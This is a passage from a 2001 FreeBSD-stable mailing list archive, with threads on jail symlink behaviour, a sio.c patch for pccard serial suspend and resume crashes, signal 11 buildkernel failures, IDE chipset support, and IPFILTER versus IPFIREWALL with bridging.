BTW, this particular machine doesn't use any NFS > | otherwise (neither client nor server). > > An alternative to this could be symlinks. In a chroot()ed environment, > the user should see symlinks OUT of the jail as the actual files. > > Populate /usr/local/jail/bin, /usr/local/jail/usr/bin... with whatever > you want, and then just link /chroot/path/bin -> /usr/jail/bin... > > Then you eliminate the NFS overhead, but now links are eating all your > inodes... I don't think this does what you think it does. If it _does_ work, then jail is so badly fragged that I'm surprised nobody has screamed yet. Absolute symlinks should be interpreted relative to chroot; relative symlinks containing "../../../../.." should see chroot as the ceiling. -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287163 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk Goedel would be proud - I'm both inconsistent _and_ incomplete. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 6:56:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 3E1B637B71B for ; Mon, 12 Mar 2001 06:56:24 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14cTkF-000MQf-00; Mon, 12 Mar 2001 14:56:23 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2CEuNl88132; Mon, 12 Mar 2001 14:56:23 GMT (envelope-from jcm) Date: Mon, 12 Mar 2001 14:56:22 +0000 From: j mckitrick To: Ian Dowse Cc: Alfred Perlstein , freebsd-stable@freebsd.org Subject: Re: suspend/restore with ppp connections Message-ID: <20010312145622.A87895@dogma.freebsd-uk.eu.org> References: <20010312135826.F86948@dogma.freebsd-uk.eu.org> <200103121440.aa97105@salmon.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200103121440.aa97105@salmon.maths.tcd.ie>; from iedowse@maths.tcd.ie on Mon, Mar 12, 2001 at 02:40:58PM +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | The problem is that the card has been reattached, so com->gone is | 0. However com->tp is NULL because the driver has not seen an open() | since attachment. It would probably be possible to add a few tests | for com->tp != NULL in a few places, but sio.c has bigger problems | in this area. It seems that a struct tty will be leaked for every | insert/removal too. There is also a missing call to the line | discipline's l_close function in the forced detach case. Now this is the kind of thing I would be interested in helping fix. But if you say sio has bigger problems, I might be in over my head. What would happen if I just added those tests for NULL? jm -- ------------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org To Microsoft: "Your tyranny I was part of, is now cracking on every side. Now your own life is in danger. Your Empire is on fire." Front 242 ------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7: 3:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cisco.com (sword.cisco.com [161.44.208.100]) by hub.freebsd.org (Postfix) with ESMTP id B0C8B37B722 for ; Mon, 12 Mar 2001 07:03:11 -0800 (PST) (envelope-from sjt@cisco.com) Received: from sjt-u10.cisco.com (sjt-u10.cisco.com [10.85.30.63]) by cisco.com (8.8.5-Cisco.1/8.8.8) with ESMTP id KAA26864; Mon, 12 Mar 2001 10:02:55 -0500 (EST) From: Steve Tremblett Received: (sjt@localhost) by sjt-u10.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) id KAA25352; Mon, 12 Mar 2001 10:02:54 -0500 (EST) Message-Id: <200103121502.KAA25352@sjt-u10.cisco.com> Subject: Re: nullfs et al To: Jan.Grant@bristol.ac.uk (Jan Grant) Date: Mon, 12 Mar 2001 10:02:54 -0500 (EST) Cc: sjt@cisco.com (Steve Tremblett), freebsd-stable@FreeBSD.ORG (freebsd-stable) In-Reply-To: from "Jan Grant" at Mar 12, 2001 02:42:09 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG +--- Jan Grant wrote: | | > An alternative to this could be symlinks. In a chroot()ed environment, | > the user should see symlinks OUT of the jail as the actual files. | > | > Populate /usr/local/jail/bin, /usr/local/jail/usr/bin... with whatever | > you want, and then just link /chroot/path/bin -> /usr/jail/bin... | > | > Then you eliminate the NFS overhead, but now links are eating all your | > inodes... | | I don't think this does what you think it does. If it _does_ work, then | jail is so badly fragged that I'm surprised nobody has screamed yet. | | Absolute symlinks should be interpreted relative to chroot; relative | symlinks containing "../../../../.." should see chroot as the ceiling. | my mistake - I used this before on another OS. I have not tried this on FreeBSD, so I can't attest to how it works. On the system I did use it on, the absolute symlinks were interpreted relative to the REAL /, and the user only saw a regular file as opposed to the link. -- Steve Tremblett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:16:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from oops.rdstm.ro (oops.rdstm.ro [193.231.233.3]) by hub.freebsd.org (Postfix) with ESMTP id 5460837B71A for ; Mon, 12 Mar 2001 07:16:39 -0800 (PST) (envelope-from camelia@rdstm.ro) Received: from localhost (camelia@localhost) by oops.rdstm.ro (8.11.2/8.11.2) with ESMTP id f2CFGR133519 for ; Mon, 12 Mar 2001 17:16:27 +0200 (EET) (envelope-from camelia@rdstm.ro) X-Authentication-Warning: oops.rdstm.ro: camelia owned process doing -bs Date: Mon, 12 Mar 2001 17:16:26 +0200 (EET) From: Camelia Nastase To: freebsd-stable@freebsd.org Subject: buildkernel failure Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I cvsuped today. After a successful buildworld, I got the following error twice: cd /usr/obj/usr/src/sys/OOPS; MAKESRCPATH=/usr/src/sys/dev/aic7xxx/aicasm make -f /usr/src/sys/dev/aic7xxx/aicasm/Makefile Warning: Object directory not changed from original /usr/obj/usr/src/sys/OOPS cc -O -pipe -I/usr/include -I. -c aicasm_gram.c cc: Internal compiler error: program cc1 got fatal signal 11 *** Error code 1 Stop in /usr/obj/usr/src/sys/OOPS. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. while 'make buildkernel KERNCONF=OOPS'. Should I installworld before buildkernel? Or what? Thanks in advance, Camelia Nastase -- Camelia Nastase, RDS Timisoara, Bogdanestilor 2, 1900 Timisoara Tel: 40-56-200033; 294511 Fax: 40-56-294510 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:21: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 3AED237B718 for ; Mon, 12 Mar 2001 07:20:55 -0800 (PST) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 12 Mar 2001 15:20:54 +0000 (GMT) To: j mckitrick Cc: Alfred Perlstein , freebsd-stable@freebsd.org, iedowse@maths.tcd.ie Subject: Re: suspend/restore with ppp connections In-Reply-To: Your message of "Mon, 12 Mar 2001 14:56:22 GMT." <20010312145622.A87895@dogma.freebsd-uk.eu.org> Date: Mon, 12 Mar 2001 15:20:54 +0000 From: Ian Dowse Message-ID: <200103121520.aa08765@salmon.maths.tcd.ie> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010312145622.A87895@dogma.freebsd-uk.eu.org>, j mckitrick writes: > >Now this is the kind of thing I would be interested in helping fix. But if >you say sio has bigger problems, I might be in over my head. What would >happen if I just added those tests for NULL? You could try something like the patch below - I'm sure this isn't the right way to fix this - the struct tty leaks will still happen here. However it may be enough to avoids the page faults and make suspend/resume while a pccard serial port is open a bit more reliable. Someone who knows the tty code better than I do might be able to explain how to deal with a tty going away while it is open. It seems that the `t_gen' field should help with that, so the sio driver certainly shouldn't be mallocing a new tty every time a card is reattached. Ian Index: sio.c =================================================================== RCS file: /dump/FreeBSD-CVS/src/sys/isa/sio.c,v retrieving revision 1.291.2.15 diff -u -r1.291.2.15 sio.c --- sio.c 2001/02/26 04:23:14 1.291.2.15 +++ sio.c 2001/03/12 15:10:02 @@ -560,6 +560,7 @@ if (com->tp && (com->tp->t_state & TS_ISOPEN)) { device_printf(dev, "still open, forcing close\n"); com->tp->t_gen++; + (*linesw[com->tp->t_line].l_close)(com->tp, 0); ttyclose(com->tp); ttwakeup(com->tp); ttwwakeup(com->tp); @@ -1386,7 +1387,7 @@ error = tsleep(&com->dtr_wait, TTIPRI | PCATCH, "siodtr", 0); if (com_addr(unit) == NULL) return (ENXIO); - if (error != 0 || com->gone) + if (error != 0 || com->gone || com->tp == NULL) goto out; } if (tp->t_state & TS_ISOPEN) { @@ -1409,7 +1410,7 @@ TTIPRI | PCATCH, "siobi", 0); if (com_addr(unit) == NULL) return (ENXIO); - if (error != 0 || com->gone) + if (error != 0 || com->gone || com->tp == NULL) goto out; goto open_top; } @@ -1518,7 +1519,7 @@ if (com_addr(unit) == NULL) return (ENXIO); --com->wopeners; - if (error != 0 || com->gone) + if (error != 0 || com->gone || com->tp == NULL) goto out; goto open_top; } @@ -1550,7 +1551,7 @@ if (mynor & CONTROL_MASK) return (0); com = com_addr(MINOR_TO_UNIT(mynor)); - if (com == NULL) + if (com == NULL || com->tp == NULL) return (ENODEV); tp = com->tp; s = spltty(); @@ -1637,7 +1638,7 @@ if (mynor & CONTROL_MASK) return (ENODEV); com = com_addr(MINOR_TO_UNIT(mynor)); - if (com == NULL || com->gone) + if (com == NULL || com->gone || com->tp == NULL) return (ENODEV); return ((*linesw[com->tp->t_line].l_read)(com->tp, uio, flag)); } @@ -1658,7 +1659,7 @@ unit = MINOR_TO_UNIT(mynor); com = com_addr(unit); - if (com == NULL || com->gone) + if (com == NULL || com->gone || com->tp == NULL) return (ENODEV); /* * (XXX) We disallow virtual consoles if the physical console is @@ -2076,7 +2077,7 @@ mynor = minor(dev); com = com_addr(MINOR_TO_UNIT(mynor)); - if (com == NULL || com->gone) + if (com == NULL || com->gone || com->tp == NULL) return (ENODEV); if (mynor & CONTROL_MASK) { struct termios *ct; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:26:54 2001 Delivered-To: freebsd-stable@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 0899737B718 for ; Mon, 12 Mar 2001 07:26:52 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14cUDj-000NJB-00; Mon, 12 Mar 2001 15:26:51 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2CFQon88629; Mon, 12 Mar 2001 15:26:50 GMT (envelope-from jcm) Date: Mon, 12 Mar 2001 15:26:50 +0000 From: j mckitrick To: Ian Dowse Cc: Alfred Perlstein , freebsd-stable@freebsd.org Subject: Re: suspend/restore with ppp connections Message-ID: <20010312152650.D87895@dogma.freebsd-uk.eu.org> References: <20010312145622.A87895@dogma.freebsd-uk.eu.org> <200103121520.aa08765@salmon.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200103121520.aa08765@salmon.maths.tcd.ie>; from iedowse@maths.tcd.ie on Mon, Mar 12, 2001 at 03:20:54PM +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | + (*linesw[com->tp->t_line].l_close)(com->tp, 0); What does this part do? jm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:28:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id A396537B71A for ; Mon, 12 Mar 2001 07:28:38 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14cUFQ-0005sC-00; Mon, 12 Mar 2001 15:28:36 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2CFSaj88654; Mon, 12 Mar 2001 15:28:36 GMT (envelope-from jcm) Date: Mon, 12 Mar 2001 15:28:36 +0000 From: j mckitrick To: Camelia Nastase Cc: freebsd-stable@freebsd.org Subject: Re: buildkernel failure Message-ID: <20010312152836.E87895@dogma.freebsd-uk.eu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from camelia@rdstm.ro on Mon, Mar 12, 2001 at 05:16:26PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | cc: Internal compiler error: program cc1 got fatal signal 11 Check out this link. http://www.freebsd.org/FAQ/troubleshoot.html#SIGNAL11 jm -- ------------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org To Microsoft: "Your tyranny I was part of, is now cracking on every side. Now your own life is in danger. Your Empire is on fire." Front 242 ------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:33: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hamberg.it.uu.se (hamberg.it.uu.se [130.238.9.198]) by hub.freebsd.org (Postfix) with ESMTP id 0225737B718 for ; Mon, 12 Mar 2001 07:32:58 -0800 (PST) (envelope-from ertr1013@csd.uu.se) Received: (from ertr1013@localhost) by hamberg.it.uu.se (8.8.5/8.8.5) id QAA20504 for freebsd-stable@freebsd.org; Mon, 12 Mar 2001 16:32:55 +0100 (MET) Date: Mon, 12 Mar 2001 16:32:55 +0100 From: Erik Trulsson To: freebsd-stable@freebsd.org Subject: Re: buildkernel failure Message-ID: <20010312163255.A20436@student.uu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Mar 12, 2001 at 05:16:26PM +0200, Camelia Nastase wrote: > > I cvsuped today. After a successful buildworld, I got the following > error twice: > > cd > /usr/obj/usr/src/sys/OOPS; MAKESRCPATH=/usr/src/sys/dev/aic7xxx/aicasm > make > -f /usr/src/sys/dev/aic7xxx/aicasm/Makefile > Warning: Object directory not changed from original > /usr/obj/usr/src/sys/OOPS > cc -O -pipe -I/usr/include -I. -c aicasm_gram.c > cc: Internal compiler error: program cc1 got fatal signal 11 > *** Error code 1 > Stop in /usr/obj/usr/src/sys/OOPS. > *** Error code 1 > Stop in /usr/src. > *** Error code 1 > Stop in /usr/src. > > > while 'make buildkernel KERNCONF=OOPS'. > > Should I installworld before buildkernel? Or what? Did you get the error at the exact same place both times? If not you probably have bad hardware. See http://www.freebsd.org/FAQ/troubleshoot.html#SIGNAL11 for more information. Otherwise you might try to cvsup again in case you happened to get the sources at a bad time. (Although that rarely give signal 11 errors.) -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:35: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 0120337B719 for ; Mon, 12 Mar 2001 07:35:03 -0800 (PST) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 12 Mar 2001 15:35:02 +0000 (GMT) To: j mckitrick Cc: Ian Dowse , Alfred Perlstein , freebsd-stable@freebsd.org, iedowse@maths.tcd.ie Subject: Re: suspend/restore with ppp connections In-Reply-To: Your message of "Mon, 12 Mar 2001 15:26:50 GMT." <20010312152650.D87895@dogma.freebsd-uk.eu.org> Date: Mon, 12 Mar 2001 15:35:01 +0000 From: Ian Dowse Message-ID: <200103121535.aa13342@salmon.maths.tcd.ie> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010312152650.D87895@dogma.freebsd-uk.eu.org>, j mckitrick writes: >| + (*linesw[com->tp->t_line].l_close)(com->tp, 0); > >What does this part do? It's the missing call to the line discipline's l_close() routine. I'm not sure if this is important with ppp, but when using the kernel slip driver, this was necessary if you ejected the card or suspended while slip was running. Otherwise, slip would refuse to run again until after the next reboot. Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 7:38:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from oops.rdstm.ro (oops.rdstm.ro [193.231.233.3]) by hub.freebsd.org (Postfix) with ESMTP id 678BD37B718 for ; Mon, 12 Mar 2001 07:38:40 -0800 (PST) (envelope-from camelia@rdstm.ro) Received: from localhost (camelia@localhost) by oops.rdstm.ro (8.11.2/8.11.2) with ESMTP id f2CFcaD58199; Mon, 12 Mar 2001 17:38:36 +0200 (EET) (envelope-from camelia@rdstm.ro) X-Authentication-Warning: oops.rdstm.ro: camelia owned process doing -bs Date: Mon, 12 Mar 2001 17:38:36 +0200 (EET) From: Camelia Nastase To: Erik Trulsson Cc: stable@freebsd.org Subject: Re: buildkernel failure In-Reply-To: <20010312163135.B18167@student.uu.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Did you get the error at the exact same place both times? > If not you probably have bad hardware. See I said I got "the error" twice. I thought I made myself clear, I meant the same error twice. > > http://www.freebsd.org/FAQ/troubleshoot.html#SIGNAL11 > > for more information. Otherwise you might try to cvsup again in case you > happened to get the sources at a bad time. (Although that rarely give > signal 11 errors.) I just cvsuped again, now i'm making a new buildworld. I'll see if it happens again. Hopefully not. Best regards, Camelia Nastase To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 8:18:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id 9F67B37B719 for ; Mon, 12 Mar 2001 08:18:09 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 16150 invoked by uid 0); 12 Mar 2001 16:18:08 -0000 Date: Mon, 12 Mar 2001 17:18:08 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org Cc: freebsd-hardware@freebsd.org MIME-Version: 1.0 Subject: BIG IDE problem X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <3985.984413888@www20.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hallo all, I found that neither the ata nor the "old" wdc driver supports the ServerSet LE Chipset. I recently posted a problem with vinum/ccd but it is a ata Problem. When I use ccd with 2 IDE (master-slave UDMA2) I can make newfs and dd if=/dev/zero of=/ccdmount/test bs=1k count=1000000 on the ServerSet with about 17M/s. On the Intel815 (ich2) I get 49MB/s at UDMA5 and still 30MB/s at UDMA2. But the real problem is, when I try to read this 1G file the machine with the ServerSet controller silently dies. Same happens when I make a fsck. On the 815 I don't have any problem. Is this ChipSet really not supported or is the Supermicro board wasted 1k bucks? (The IDE is just for collecting data from the net for pushing it to tapes (320G), of course I also use the two SCSI chanels) Thanks, -Harry P.S. Both testing Systems have one PIII733 and 512MB mailto:h.schmalzbauer@belenus.com -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 8:20: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from picspc01.pics.com (picspc01.pics.com [192.135.189.20]) by hub.freebsd.org (Postfix) with ESMTP id 1A40537B719 for ; Mon, 12 Mar 2001 08:20:00 -0800 (PST) (envelope-from tpr@pics.com) Received: from pics2000.hq.pics.com (pics2000.pics.com [192.135.189.30]) by picspc01.pics.com (8.11.2/8.11.2) with ESMTP id f2CGJ3W40427 for ; Mon, 12 Mar 2001 11:19:03 -0500 (EST) (envelope-from tpr@hq.pics.com) content-class: urn:content-classes:message MIME-Version: 1.0 Subject: buildworld problem with 3/12 sup Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Mon, 12 Mar 2001 11:26:04 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: buildworld problem with 3/12 sup Thread-Index: AcCrENF2Npv6qBbTEdWzjQBQ2ndIsQ== From: "Terry Rossi" To: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can anyone help me understand this error? =20 cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ld/i386 -I/usr /src/gnu/usr.bin/binutils/ld -I/usr/src/gnu/usr.bin/binutils/ld/../libbfd/i386 - I/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/include -DDEFAULT _EMULATION=3D\"elf_i386\" -DTARGET=3D\"i386-unknown-freebsd\" -DSCRIPTDIR=3D\"/usr/obj /usr/src/i386/usr/libdata\" -I/usr/src/gnu/usr.bin/binutils/ld/../../../../contr ib/binutils/ld -DVERSION=3D\"2.10.1\" -DBFD_VERSION=3D\"2.10.1\" -I/usr/obj/usr/sr c/i386/usr/include -c /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binut ils/ld/ldwrite.c^ {standard input}: Assembler messages:^ {standard input}:277: Error: bad register name `%esi' Error Code 1 =20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 8:26:11 2001 Delivered-To: freebsd-stable@freebsd.org Received: from veldy.net (w028.z064001117.msp-mn.dsl.cnc.net [64.1.117.28]) by hub.freebsd.org (Postfix) with ESMTP id 283F537B718 for ; Mon, 12 Mar 2001 08:26:06 -0800 (PST) (envelope-from veldy@veldy.net) Received: from cascade (cascade.veldy.net [192.168.0.1]) by veldy.net (Postfix) with SMTP id 87596BA0A; Mon, 12 Mar 2001 10:25:19 -0600 (CST) Message-ID: <005901c0ab10$ef3f8dc0$0100a8c0@cascade> From: "Thomas T. Veldhouse" To: "Mike Harding" Cc: , , References: <5.0.2.1.0.20010308160207.02762e18@pop.schulte.org> <002f01c0a8a7$c3e9fb30$3028680a@tgt.com> <20010309151929.F412D113E04@netcom1.netcom.com> Subject: Re: 4.2-R, bridging and ipfilter Date: Mon, 12 Mar 2001 10:24:38 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG NAT is not bridging. IPFILTER does not work with bridging -- you will not protect packets flowing through a bridge, only the local machine. IPFIREWALL will filter bridged packets. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Mike Harding" To: Cc: ; ; Sent: Friday, March 09, 2001 9:19 AM Subject: Re: 4.2-R, bridging and ipfilter > > IPFILTER works great - we use it on a T1 at work for about 20 people > for NAT and transparent squid proxying and it never hiccups and there > is no noticeable load on the system. IPFW defaults to a 5 minute > timeout on sessions, ipfilter to 5 _days_ so it behaves much more like > what people expect. I suspect that ipfilter is used for more > 'industrial strength' uses. > > Also, the NAT in ipfilter is kernel based so it's quite fast. > > - Mike H. > > From: "Thomas T. Veldhouse" > Date: Fri, 9 Mar 2001 08:46:43 -0600 > Content-Type: text/plain; > charset="iso-8859-1" > X-Priority: 3 > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 > Sender: owner-freebsd-stable@FreeBSD.ORG > X-Loop: FreeBSD.ORG > Precedence: bulk > > IPFILTER is an alternative to IPFIREWALL. As far as I know, IPFILTER does > not work on bridged packets -- so you can not firewall you LAN transparently > using a IPFILTER bridge. IPFIREWALL does filter bridged packets. However, > I don't believe the stateful rules processing is as robust. I was getting > errors about too many states and such -- so I went back to IPFILTER using > IPNAT (using bimap). > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Christopher Schulte" > To: ; > Sent: Thursday, March 08, 2001 4:03 PM > Subject: Re: 4.2-R, bridging and ipfilter > > > > At 04:48 PM 3/8/2001 -0500, arr@oceanwave.com wrote: > > >Has anyone gotten bridging and ipfilter to work together with 4.2-R? > > > > Question: do you mean IPFIREWALL and bridging? > > > > If so, yes. > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 8:27:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from veldy.net (w028.z064001117.msp-mn.dsl.cnc.net [64.1.117.28]) by hub.freebsd.org (Postfix) with ESMTP id 2169237B719 for ; Mon, 12 Mar 2001 08:27:44 -0800 (PST) (envelope-from veldy@veldy.net) Received: from cascade (cascade.veldy.net [192.168.0.1]) by veldy.net (Postfix) with SMTP id 02204BA0A; Mon, 12 Mar 2001 10:26:59 -0600 (CST) Message-ID: <006401c0ab11$2a83d350$0100a8c0@cascade> From: "Thomas T. Veldhouse" To: Cc: "Mike Harding" , , , References: <5.0.2.1.0.20010308160207.02762e18@pop.schulte.org><002f01c0a8a7$c3e9fb30$3028680a@tgt.com><20010309151929.F412D113E04@netcom1.netcom.com><004901c0a8ae$cf115790$3028680a@tgt.com> <15016.63909.246199.735389@sekrit.office.oceanwave.com> Subject: LIST RESENDING EMAIL? (Re: 4.2-R, bridging and ipfilter) Date: Mon, 12 Mar 2001 10:26:18 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just realized that I have received all these emails and I was beginning to post again ---- bah! What is going on that is causing these all to be resent to the list? Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: To: "Thomas T. Veldhouse" Cc: "Mike Harding" ; ; ; Sent: Friday, March 09, 2001 9:41 AM Subject: Re: 4.2-R, bridging and ipfilter > > veldy> But it doesn't work to protect bridged IPs. The IPFILTER code has not > veldy> been integrated into the bridging code unless something has changed in > veldy> the last two weeks. > > AH, here's the information I was looking for. So, essentially, it won't > work. Is there any ETA on when it will be intergrated? Is it even a work in > progress currently? > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 10:13:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 971C537B718; Mon, 12 Mar 2001 10:13:11 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f2CICxA80394; Mon, 12 Mar 2001 10:12:59 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010312061417.A6615@lerami.lerctr.org> Date: Mon, 12 Mar 2001 10:12:39 -0800 (PST) From: John Baldwin To: Larry Rosenman Subject: Re: cputype=486 Cc: qa@FreeBSD.org, stable@FreeBSD.org, Mike Pritchard , Kris Kennaway Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 12-Mar-01 Larry Rosenman wrote: > * Larry 